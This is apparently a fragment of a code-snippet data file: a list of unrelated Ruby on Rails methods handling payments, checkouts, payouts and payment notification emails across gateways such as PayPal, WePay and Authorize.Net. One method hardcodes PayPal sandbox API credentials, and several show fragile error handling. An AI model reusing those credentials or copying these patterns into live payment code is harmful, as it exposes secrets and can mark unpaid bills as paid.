order.transaction do\n # payment must be updated after order, otherwise payment params will be lost\n order.update_attributes( {:note => t('checkout.common.payment_accept_msg') })\n order.pay!\n order.ship!\n payment.update_attributes({\"txn_id\" => @transaction.response[\"TRANSACTIONID\"][0]})\n payment.accept!\n end\n flash[:notice] = t('checkout.common.payment_accept_msg')\n else\n order.transaction do\n order.update_attributes( {:note => t('checkout.common.payment_need_investigation_msg') })\n order.checkout!\n payment.accept!\n end\n raise t('checkout.common.payment_need_investigation_msg')\n end\n redirect_to order_path(order.order_num)\n else\n session[:pp_errors] = @transaction.response\n flash[:notice] = \"DoDirectPayment Failed: \" + session[:pp_errors][\"L_LONGMESSAGE0\"].to_s\n redirect_to payment_url\n end\n else\n raise t('checkout.common.failed_msg')\n end\n rescue Exception => e\n flash[:notice] = e\n redirect_to payment_url\n end",
"def send_new_booking_request_notifications\n\n if pay_now\n notify_manager_pay_now\n notify_request_to_customer_pay_now\n else\n notify_manager\n notify_request_to_customer\n end\n\n end",
"def wepay_postfill\n # If the user approved the 'preapproval' and \n if params.has_key?('preapproval_id')\n @order = Order.find_by_token(params[:preapproval_id])\n unless @order.nil?\n wepay = WePay.new(Settings.wepay_client_id, Settings.wepay_access_token, _use_stage = (!Rails.env.production?))\n # Let's find the user information on Wepay end..\n response = wepay.call('/preapproval', Settings.wepay_access_token, {\n :preapproval_id => params[:preapproval_id]\n })\n \n @order.wepay_postfill(response)\n if params['status'] != 'approved' \n redirect_to :action => :share, :uuid => @order.uuid\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n end",
"def pay\n @bill = Bill.find_by(id: params[:bill_id].to_i, home_id: params[:home_id].to_i)\n @payment = Payment.new(description: @bill.name, amount: @bill.amount,\n recipient_paypal_email: @bill.user.paypal)\n @recipient = @payment.recipient_paypal_email\n @payment.sender_paypal_email = current_user.paypal\n @payment.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @amount = @payment.amount\n request = HTTParty.post(\"https://svcs.sandbox.paypal.com/AdaptivePayments/Pay\",\n headers: {\"X-PAYPAL-SECURITY-USERID\" => \"maria.cassino-facilitator_api1.gmail.com\",\n \"X-PAYPAL-SECURITY-PASSWORD\" => \"U9FL2MK962DKPXMR\",\n \"X-PAYPAL-SECURITY-SIGNATURE\" => \"AFcWxV21C7fd0v3bYYYRCpSSRl31A2tjSJXfuAz3het2TLAiz2uCt1eN\",\n \"X-PAYPAL-REQUEST-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-RESPONSE-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-APPLICATION-ID\" => \"APP-80W284485P519543T\"\n },\n body: {actionType: \"PAY\",\n currencyCode: \"USD\",\n receiverList: {\n receiver:[\n {amount: @amount,\n email: @recipient}\n ]\n },\n returnUrl: \"http://www.example.com/success.html\",\n cancelUrl: \"http://www.example.com/failure.html\",\n requestEnvelope:{\n errorLanguage: \"en_US\",\n detailLevel: \"ReturnAll\"\n }}.to_json\n )\n @payment.save\n @bill.paid_by = current_user.id\n @bill.paid = true\n @bill.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @bill.save\n render :payment\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'receipt', :only_path => false, \n :gateway => OPTIONS[:gateways][:authorize_net]), \n :include => true)\n else\n # return back to purchase page - will display error message there\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'purchase', :only_path => false, \n :order_id => params[:x_invoice_num], :failure => true), \n :include => true)\n end\n end",
"def merchant_end_point=(_arg0); end",
"def pay_on_demand(money, options = {})\n requires!(options, :order_id, :subscription_id)\n @raw_xml = build_request(build_pay_on_demand_request(money, options), options) \n commit(build_pay_on_demand_request(money, options), options)\n end",
"def alipay_checkout_payment\n payment_method = PaymentMethod.find(params[:payment_method_id])\n #Rails.logger.debug \"@payment_method=#{@payment_method.inspect}\" \n Rails.logger.debug \"[DEBUG] alipay_full_service_url:\"+aplipay_full_service_url(@order, payment_method)\n # notice that load_order would call before_payment, if 'http==put' and 'order.state == payment', the payments will be deleted. \n # so we have to create payment again\n @order.payments.create(:amount => @order.total, :payment_method_id => payment_method.id)\n @order.payments.first.started_processing!\n\n #redirect_to_alipay_gateway(:subject => \"donatecn\", :body => \"donatecn\", :amount => @donate.amount, :out_trade_no => \"123\", :notify_url => pay_fu.alipay_transactions_notify_url)\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def set_buyer_payout(address)\n if buyer_payout && buyer_payout.btc_amount > 0 && !buyer_payout.paid\n self.buyer_payout.btc_address = address\n self.buyer_payout.save\n else\n false\n end\n end",
"def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.donate_amount * 0.1\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Donate from #{self.name}\",\n :type => 'donation',\n :currency => 'USD',\n :amount => self.donate_amount, \n :fee => { \n :app_fee => app_fee,\n :fee_payer => 'payee'\n },\n :hosted_checkout => {\n :mode => 'iframe',\n :redirect_uri => redirect_uri\n } \n \n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n puts response\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\nend",
"def amount\n self.payout_amount\n end",
"def generate_reactivation_transaction\n\n payment_method = params[:mp]\n company = Company.find(current_user.company_id)\n\n downgradeLog = DowngradeLog.where(company_id: company.id).order('created_at desc').first\n\n new_plan = downgradeLog.plan\n\n #Should have free plan\n previous_plan = company.plan\n\n if new_plan.custom\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price\n else\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price company.computed_multiplier\n end\n\n sales_tax = company.country.sales_tax\n\n day_number = Time.now.day\n month_number = Time.now.month\n month_days = Time.now.days_in_month\n\n plan_month_value = ((month_days - day_number + 1).to_f / month_days.to_f) * price\n due_amount = downgradeLog.debt\n\n accepted_payments = [\"16\",\"03\",\"04\",\"05\",\"06\",\"07\"]\n\n if accepted_payments.include?(payment_method) && company\n mockCompany = Company.find(current_user.company_id)\n mockCompany.plan_id = new_plan.id\n mockCompany.months_active_left = 1.0\n mockCompany.due_amount = 0.0\n mockCompany.due_date = nil\n\n if !mockCompany.valid?\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a contacto@agendapro.cl si el problema persiste. (9)\"\n else\n\n trx_comp = company.id.to_s + \"0\" + new_plan.id.to_s + \"0\"\n trx_offset = 4\n trx_date = DateTime.now.to_s.gsub(/[-:T]/i, '')\n trx_date = trx_date[0, trx_date.size - trx_offset]\n trx_date = trx_date[trx_date.size - 15 + trx_comp.size, trx_date.size]\n trx_id = trx_comp + trx_date\n\n if trx_id.size > 15\n trx_id = trx_id[0, 15]\n end\n\n due = sprintf('%.2f', ((plan_month_value + due_amount /(1 + sales_tax) )*(1 + sales_tax)).round(0))\n req = PuntoPagos::Request.new()\n resp = req.create(trx_id, due, payment_method)\n if resp.success?\n PlanLog.create(trx_id: trx_id, new_plan_id: new_plan.id, prev_plan_id: previous_plan.id, company_id: company.id, amount: due)\n PuntoPagosCreation.create(trx_id: trx_id, payment_method: payment_method, amount: due, details: \"Reactivación plan empresa id \"+company.id.to_s+\", nombre \"+company.name+\". Cambia de plan \"+company.plan.name+\"(\"+company.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+company.id.to_s+\". Resultado: Se procesa\")\n redirect_to resp.payment_process_url\n else\n PuntoPagosCreation.create(trx_id: trx_id, payment_method: payment_method, amount: due, details: \"Error creación de reactivación de plan empresa id \"+company.id.to_s+\", nombre \"+company.name+\". Cambia de plan \"+company.plan.name+\"(\"+company.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+company.id.to_s+\". Resultado: \"+resp.get_error+\".\")\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a contacto@agendapro.cl si el problema persiste. (3)\"\n end\n end\n\n end\n\n end",
"def touch_out\n deduct(CHARGE)\n @in_journey = false\n end",
"def pay(amount, seller_paypal_account)\n\n # Build request object\n @pay = @api.build_pay({\n :actionType => \"PAY_PRIMARY\",\n :cancelUrl => \"http://warmshopping.com\",\n :currencyCode => \"USD\",\n :feesPayer => \"PRIMARYRECEIVER\",\n :ipnNotificationUrl => \"https://warmshopping.com/paypal/ipn_notify?paykey=${paykey}\",\n :receiverList => {\n :receiver => [\n {\n :amount => (amount).to_i,\n :email => \"warmshoppingpersonal+market@gmail.com\", #MARKETPLACE ACCOUNT\n :primary => true\n },\n {\n :amount => (amount).to_i - ((amount) * 0.1).to_i,\n :email => seller_paypal_account, #SELLER ACCOUNT\n }\n ]\n },\n :returnUrl => \"http://warmshopping.com\" })\n\n # Make API call & get response\n @response = @api.pay(@pay)\n\n # Access response\n if @response.success? && @response.payment_exec_status != \"ERROR\"\n @response.payKey\n else\n @response.error[0].message\n end\n end",
"def purchase_more_tokens(opportunity_id, user_id)\n @opportunity = Opportunity.find(opportunity_id)\n @user = User.find(user_id)\n @requester = User.find(@opportunity.user_id)\n mail(to: [@user.email, @requester.email] , subject: 'Request to purchase MOBEEAS Tokens')\n\n end",
"def cash_out\n player.wallet = @wallet\n end",
"def quik_pay\n raise AccessDenied.new(\"This user does not have access to this feature.\") unless session[\"can_pay_online?\"]\n\n # Fines needs to be converted to cents\n total_fines_cents = (100 * session[:total_fines].to_f).to_i\n\n params = { amountDue: total_fines_cents, orderNumber: session[:alma_sso_user] }\n redirect_to quik_pay_url(params, Rails.configuration.quik_pay[\"secret\"])\n end",
"def franchisee_royalty_pay_slip\n \n end",
"def after_purchase(order)\n self.consumed = true\n # send confirmation email to admin and to user, #person.send_email already delays\n notify_admins\n notify_backer\n save!\n\n MixpanelEvent.track(\n person_id: person_id,\n event: 'Create Order',\n checkout_method: order.checkout_method.class.name,\n product: \"team_payin\",\n amount: amount,\n team_id: team.id,\n member: team.person_is_member?(person)\n )\n end",
"def pay_all_bills\n #self.appointments.update_all(cost: 0)\n self.appointments.each {|a| a.paid}\n end",
"def pay_now\n order = current_order || raise(ActiveRecord::RecordNotFound)\n session[:order_number] = current_order.number\n invoice = order.place_bitpay_order(notificationURL: api_bitpay_notification_url , redirectURL: DOMAIN+\"/confirm_order/reviewOrder\")\n @invoice_iframe_url = \"#{invoice['url']}\"\n render json: @invoice_iframe_url.to_json\n end",
"def payment_upcoming\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def receipt\n end",
"def receipt\n end",
"def paid(order)\n @order = order\n\n mail :to => order.billing_address.email\n end",
"def charge_onetime(credentials, payload)\n Client.new(\n AccesstypeAdyen::CONFIG[credentials[:environment].to_sym],\n credentials\n ).charge_onetime(\n payload[:subscription][:additional_data][:dropin_state_data][:paymentMethod],\n payload[:subscription][:payment][:amount_cents],\n payload[:subscription][:payment][:amount_currency].to_s,\n credentials[:merchant_account],\n payload[:attempt_token],\n payload[:subscription][:additional_data][:return_url],\n payload[:subscription][:additional_data][:dropin_state_data][:browserInfo] ? payload[:subscription][:additional_data][:dropin_state_data][:browserInfo].to_enum.to_h : nil,\n payload[:subscription][:additional_data][:origin]\n\n )\n end",
"def receive_success me,member\n @by_member = member\n @amount = me.amount\n @currency = me.account.currency\n @me = me\n subjects = \"You have been sent some money\"\n mail to: me.receiver.email, subject: subjects\n #when receiver has account\n end",
"def give_back_money\n if(@transaction.sender)\n @transaction.sender.balance += @transaction.amount\n @transaction.sender.save\n \n end\n\n if(@transaction.receiver)\n @transaction.receiver.balance -= Monetize.parse(convert(Money.new(@transaction.amount,findCurrency(@transaction.sender_id,@transaction.receiver_id,'sent')), @transaction.receiver.currency)).fractional\n @transaction.receiver.save\n end\n end",
"def purchase\n # number of checks to see if coming out of context\n # no order_id\n unless params[:order_id]\n go_home()\n return\n end\n @order = Order.find_by_id(params[:order_id])\n # order doesn't exist\n unless @order\n go_home()\n return\n end\n # order is already authorized or paid\n if @order.state != Order::CREATED\n go_home()\n return\n end\n # order has zero quantity or zero amount\n if @order.quantity == 0 or @order.amount == 0\n go_home()\n return\n end\n # deal doesn't exist\n deal = @order.deal\n unless deal\n go_home()\n return\n end\n \n # check if deal has ended\n if deal.is_ended\n flash[:error] = \"This deal has ended. Checkout out some of our other deals!\"\n go_home()\n return\n end\n \n # check if deal hasn't started\n if !deal.is_started\n go_home()\n return\n end\n \n # check if order is timed out\n if @order.is_timed_out\n flash[:error] = \"Your order has timed out. Please restart your transaction.\"\n redirect_to :controller => self.controller_name, :action => 'order', :deal_id => @order.deal.id\n return\n end\n \n if params[:failure]\n flash.now[:error] = \"There was a problem approving your transaction. Please try again.\"\n end\n \n @sim_transaction = \n AuthorizeNet::SIM::Transaction.new(\n AUTHORIZE_NET_CONFIG['api_login_id'], \n AUTHORIZE_NET_CONFIG['api_transaction_key'], \n @order.amount.to_f,\n :transaction_type => AuthorizeNet::SIM::Transaction::Type::AUTHORIZE_ONLY,\n :relay_url => url_for(:controller => self.controller_name, :action => 'relay_response', :only_path => false))\n @timeout = OPTIONS[:order_timeout]\n @gateway_url = Rails.env.production? ? AuthorizeNet::SIM::Transaction::Gateway::LIVE : AuthorizeNet::SIM::Transaction::Gateway::TEST\n render \"payment/#{self.action_name}\"\n end",
"def purchase\n if express_token.include?(\"paykey=AP\")\n\n else\n\n #processes payment for express payment and on site with credit card.\n response = process_purchase\n #creates a transaction to store info from express payment and paywith Credit card\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end\n end",
"def service_payment_info_loop\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def thank_you\n user = session[:user]\n user.zip = params[:zip]\n \n start_date = Date.today\n start_date += 61\n \n response = create_autorrecuring_subscription(start_date, user, params[:card_number], params[:month], params[:year], \n params[:cvc], params[:card_type], params[:city], params[:state],\n params[:billing_address_1], params[:billing_address_2])\n if response.success?\n session[:errors] = nil\n session[:user] = nil\n user.arb_subscription_id = response.subscription_id\n user.arb_status = AuthorizeNet::ARB::Subscription::Status::ACTIVE\n user.billing_information_id = user.add_billing_information(params[:fullname], params[:billing_address_1] ,\n params[:billing_address_2], params[:city], params[:state],\n params[:zip]).id\n user.save\n else\n puts \"Failed to make purchase. \" + response.response_reason_code + \" - \" + response.response_reason_text\n user.errors.clear()\n user.errors.add(:transaction, response.response_reason_text)\n session[:errors] = user.errors\n redirect_to admin_signup_step3_path\n end \n\n \n end",
"def successful_purchase_response\n end",
"def send_to_paypal\n @cart = find_cart\n @order = session[:order]\n dump_cart_items(@order, @cart)\n Postoffice.deliver_new_order(@order, current_user.email)\n clear_session\n end",
"def create\n @transaction = current_user.moneys_out.new(transaction_params)\n\n # Get recipient_id\n recipient = User.find_by_email_or_mobile(@transaction.recipient_key)\n if recipient\n # Set transaction attributes\n @transaction.attributes = {\n recipient_id: recipient.id,\n transaction_type: :transfer,\n happened_on: Time.zone.now\n }\n\n if @transaction.valid?\n # Save transaction\n if @transaction.save\n # Send notification to recipient\n # SendEmailJob.set(wait: 2.minutes).perform_later(@transaction)\n TransactionMailer.received_money_email(@transaction).deliver\n\n # Return to list of transactions\n flash[:notice] = \"<span class='text-uppercase'>#{@transaction.code}</span> confirmed. KES #{@transaction.amount} sent to #{@transaction.recipient.name}.\"\n redirect_to transactions_path\n else\n flash[:error] = @transaction.errors.full_messages.to_sentence\n end\n else\n flash[:error] = @transaction.errors.full_messages.to_sentence\n render new_transaction_path\n end\n else\n flash[:error] = \"WPESA couldn't find that recipient. Verify the mobile or email before trying again.\"\n render new_transaction_path\n end\n end",
"def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end",
"def donate\n\n @context_user = @receiver.user\n \n # Test that the transfer money between the two people is a viable option\n rec_acc = @receiver.monetary_processor_account\n pay_acc = @sender.monetary_processor_account\n \n rec_usid = rec_acc.account_identifier\n pay_usid = pay_acc.account_identifier\n \n @donation.update_attributes do |d|\n d.receiver_wmid = rec_acc\n d.sender_wmid = pay_acc\n end\n store_donation\n \n res = WebMoney::Ext::Client.get_max_transaction_amount(pay_usid, rec_usid, @donation.purse_type[0].to_i)\n \n # Verify maximum transaction possible\n @max_amount = res.maxAmount\n if @max_amount < @amount.to_f\n @amount = @max_amount\n if @amount.to_i != -1\n flash.now[:warning] = \"The maximum that you can contribute is %s.\" / \"#{@amount}\"\n end\n end\n \n # We are confirmed, lets do it!\n if params[:confirm]\n \n # confirm their password\n @account_setting = current_user.account_setting\n unless @account_setting.validate_password(current_user,params[:password])\n flash.now[:error] = \"Invalid Password\".t\n return\n end\n \n # want to see the result logged for debugging?\n # WebMoney::Ext::Client.config.merge!({:debug => true, :wiredump => true})\n transfer = WebMoneyTransfer.create(\n :source_wmid => @sender.webmoney_account,\n :destination_wmid => @receiver.webmoney_account,\n :purse_type => @donation.purse_type[0].to_i,\n :amount => @donation.amount)\n \n res = WebMoney::Ext::Client.send_funds(\n pay_usid,\n rec_usid,\n transfer.request_number,\n @donation.purse_type[0].to_i,\n @donation.amount,\n @donation.item_name)\n \n if res.errordesc == 'Success'\n MonetaryDonation.from_webmoney_donation(@donation).save\n \n transfer.update_attribute(:success, true)\n flash[:success] = \"You have successfully transfered %s\" / [@donation.amount]\n clear_donation\n redirect_back_or_default '/'\n else\n transfer.update_attributes(:success => false, :response => res.errordesc)\n flash.now[:error] = res.errordesc.t\n end\n end\n end",
"def process_payment!\n @payment_type.pay\n end",
"def pay\n unless self.payment_id\n payment = create_payment\n self.payment_id = payment.id\n self.status = 'paid'\n self.pay_date = Time.now\n self.save\n add_to_balance\n end\n end",
"def checkout\n setup_response = gateway.setup_authorization(100,\n :ip => request.remote_ip,\n :return_url => url_for(:action => 'process_payment'),\n :cancel_return_url => url_for(:action => 'cancel'),\n :description => \"subscription\"\n )\n redirect_to gateway.redirect_url_for(setup_response.token)\nend",
"def pay(amount)\n @bankroll -= amount\n @@bankroll -= amount\n end",
"def user_payment_callback\n @user = User.find_by(bill_id: params[:id])\n @user.skip_icpassport_validation = true\n @last_ezi = User.all.where.not(:ezi_id => nil).order(:ezi_id).last.ezi_id.gsub(/[^0-9]/, '').to_i\n @ezi_id = @last_ezi + 1\n @ezi_id_string = \"Q\" + @ezi_id.to_s.rjust(4,'0')\n @expiry = @user.package * 365\n response = BillplzReg.check_status(@user.id)\n if (response['paid'] == true) && (response['state']=='paid')\n @user.update_attributes(status: 1, :ezi_id => @ezi_id_string, :expiry => @expiry.days.from_now)\n render body: nil\n end\n end",
"def destroy_pending_mandates\n @user.mandates.where(slimpay_order_state: Mandate::SLIMPAY_ORDER_WAITING).first.try(:destroy)\n @user.update_attributes(payment_mode: 'cb')\n redirect_to :back\n end",
"def paypal_pay(other_account, amount, currency, subject, note)\n puts \"paypal_pay request: #{other_account}, #{amount}, #{subject}, #{note}\"\n unfinished_transaction = PaypalTransaction.create!({ from: OUR_PAYPAL_ACCOUNT, to: other_account, amount: amount })\n response = EXPRESS_GATEWAY.transfer (amount * 100), other_account, subject: subject, note: note, currency: currency\n unfinished_transaction.response = response.to_yaml\n if response.success? then\n # We don't get back a transaction ID in the response for mass payments.\n # unfinished_transaction.paypal_transaction_id = response.paypal_transaction_id\n unfinished_transaction.save!\n else\n unfinished_transaction.destroy\n end\n\n puts \"paypal_pay response: #{response.to_yaml}\"\n\n # Returns a hash including the response and the transaction.\n { response: response, transaction: unfinished_transaction }\n end",
"def paypal_success\n @token, @payer_id = params[:token], params[:payer_id]\n if request.post? and @token and @payer_id\n @result = EXPRESS_GATEWAY.purchase(cart.total_cents, {:ip => request.remote_ip, :token => @token, :payer_id => @payer_id})\n if @result.success?\n @cart.source = :paypal\n send_emails\n mark_completed :forget => true\n render :action => \"success\" \n else\n flash[:error] = \"could not perform EXPRESS_GATEWAY.purchase\"\n redirect_to :controller=>:store, :action=>:error\n end\n else\n flash[:error] = \"could not find token or payer id\"\n redirect_to :controller=>:store, :action=>:error\n end\n end",
"def make_new_payout\n payout_value = calculate_payout\n if payout_value == :replay\n return @bands.each { |band| band.locked = false }\n end\n @payout_display.number = payout_value\n @payout_display.target = @payout\n @credit_display.target = (self.player_coin += payout_value)\n end",
"def set_payout\n @payout = Payout.find(params[:id])\n end",
"def set_payout\n @payout = Payout.find(params[:id])\n end",
"def new\n # Launch mangopayhooks creation if no hooks created yet\n MangopayHookJob.perform_now\n\n # On passe @order en argument de la méthode authorize car on n'a pas de modèle payment.\n # la méthode authorize s'exécute dans le fichier (payment_policy.rb)\n authorize @order\n # On créée un card web payin\n\n begin\n log_error = nil\n\n mangopay_card_web_pay_in = MangoPay::PayIn::Card::Web.create(\n \"Tag\": @order.mangopay_order_tag,\n \"AuthorId\": current_user.account.mangopay_id,\n \"CreditedUserId\": current_user.account.mangopay_id,\n \"DebitedFunds\": { \"Currency\": \"EUR\", \"Amount\": @order.amount_cents },\n \"Fees\": { \"Currency\": \"EUR\", \"Amount\": 0 },\n \"ReturnUrl\": default_url_options_for_mangopay[:host] + \"/courses/\" +\n @order.slot.course.id.to_s,\n \"CreditedWalletId\": current_user.account.wallet.mangopay_id,\n \"CardType\": \"CB_VISA_MASTERCARD\",\n \"SecureMode\": \"DEFAULT\",\n \"Culture\": \"FR\",\n \"StatementDescription\": \"ASANASANO\"\n )\n\n # j'enregistre le json de réponse dans mon order\n @order.update(payment: mangopay_card_web_pay_in)\n @order.state = \"pending\"\n @order.mangopay_id = mangopay_card_web_pay_in[\"Id\"]\n @order.save!\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"card_web_pay_in_creation\",\n mangopay_answer: mangopay_card_web_pay_in,\n user_id: current_user.id.to_i,\n error_logs: log_error)\n end\n\n redirect_to mangopay_card_web_pay_in[\"RedirectURL\"] # ouvre la page pour saisie CB\n sleep(5.0)\n flash[:notice] = \"Bien reçu. Votre commande est en cours de traitement!.\"\n end",
"def payment\n @invoice = BitcoinInvoice.find_by_notification_key(params[:id])\n #if @invoice.status != BitcoinInvoice::NEW\n # redirect_to root_path, :alert => 'Cannot pay more than once!' and return\n #end\n end",
"def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.ticket_price * 0.1\n\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Ticket for #{self.event_name}\",\n :type => :GOODS,\n :amount => self.ticket_price,\n :app_fee => app_fee,\n :fee_payer => :payee,\n :mode => :iframe,\n :redirect_uri => redirect_uri\n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\n self.attendee_list += [params[\"nameOnCard\"]]\nend",
"def create_account_and_subscribe_single_call account_name\n contact = {\n address1: '1051 E Hillsdale Blvd',\n city: 'Foster City',\n country: 'United States',\n firstName: 'John',\n lastName: 'Smith',\n zipCode: '94404',\n state: 'CA'\n }\n #get the rate plans for the product\n product_rate_plan = get_product_rate_plans_for_product 'Medium Monthly Plan'\n myDate = DateTime.now + 10.days;\n #create an account and subscribe to a rate plan at the same time\n subscribe(\n account_name,\n contact,\n DateTime.now.strftime(\"%Y-%m-%d\"),\n myDate.strftime(\"%Y-%m-%d\"),\n product_rate_plan['id']\n )\nend",
"def payment_received_through_credit_card_notification(application)\n subject \"Your deposit has been received\"\n @payment_token = application.payment_token\n from \"Boxyroom <app@boxyroom.com>\"\n recipients application.user.email\n sent_on Time.now\n body :application => application, :link => my_application_url(application), :my_dashboard_my_account_url => my_dashboard_my_account_url\n end",
"def remote_pledge(pay_to)\n \tvenmo_info = self.user.venmo_account\n \trequest = 'https://api.venmo.com/v1/payments'\n \tresponse = HTTParty.post(request, query: {\n access_token: venmo_info.access_token,\n user_id: pay_to,\n amount: self.amount.to_s,\n note: 'Payment from my app'\n })\n\n \tJSON.parse(response.body)\n end",
"def final_price(order)\n @greeting = \"Hi\"\n @order = order;\n\n mail to: order.email\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(payments_receipt_url(:only_path => false), :include => true)\n else\n render\n end\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(payments_receipt_url(:only_path => false), :include => true)\n else\n render\n end\n end",
"def renew_account_as_agent\n @account = Account.find(params[:account_id])\n @contact = @account.contact\n @price_plans = Country.get_paid_plans_for_country(@account.country_short)\n @order_kind = 'renewal'\n\n respond_to do |format|\n format.html {render(layout: 'management')}\n end\n end",
"def notify_finalpayment\n @pack = Packages.get_packages_final_payment\n @pay = Payment.get_all_payments\n if( @pack != nil ) && ( @pay != nil )\n @pack.each do |t|\n @pay.each do |s|\n if( t.id == s.packages_id ) && ( t.carriers_id = s.users_id )\n @notification = Notifications.create(t.carriers_id, \"as a carrier an amount has been added to your account and another amount has been deducted\")\n end\n end\n end\n end\n return;\n end",
"def paid_email(payment)\n @payment = payment\n\n mail(:to => User.find(@payment.user_id).email, :subject => \"You've been paid back!\", :cc => @payment.email)\n end",
"def buy_now\n respond_to do |format|\n puts(\"testing .............\")\n otp = rand(10 ** 9...10 ** 10).to_s\n # User.find(current_user.id)[:otp] = otp\n puts(\"*******************************\")\n # puts(User.find(current_user.id).otp)\n UserMailer.with(item: @item).otp_email(current_user.email, otp).deliver_later\n format.html { redirect_to buy_now, notice: 'One Time Password emailed.' }\n break\n # format.json { render :new }\n end\n end",
"def notify\n @order = Order.find(params[:order_id])\n @payment_gateway = @order.payment_gateway_class.new(order: @order)\n number = @payment_gateway.return(params)\n\n if number\n @order.payments\n .find_or_create_by(number: number)\n .update(amount: @order.grand_total_with_tax)\n @order.complete! if @order.should_complete?\n head :ok\n else\n head :unprocessable_entity\n end\n end",
"def purchase\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #UserMailer.ordered(\"google.com\", response.params.to_s, User.find(cart.user_id), cart).deliver\n cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end",
